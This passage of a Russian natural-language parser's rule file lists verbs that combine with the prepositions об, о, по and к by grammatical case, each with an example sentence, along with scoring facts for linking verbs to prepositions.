rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) 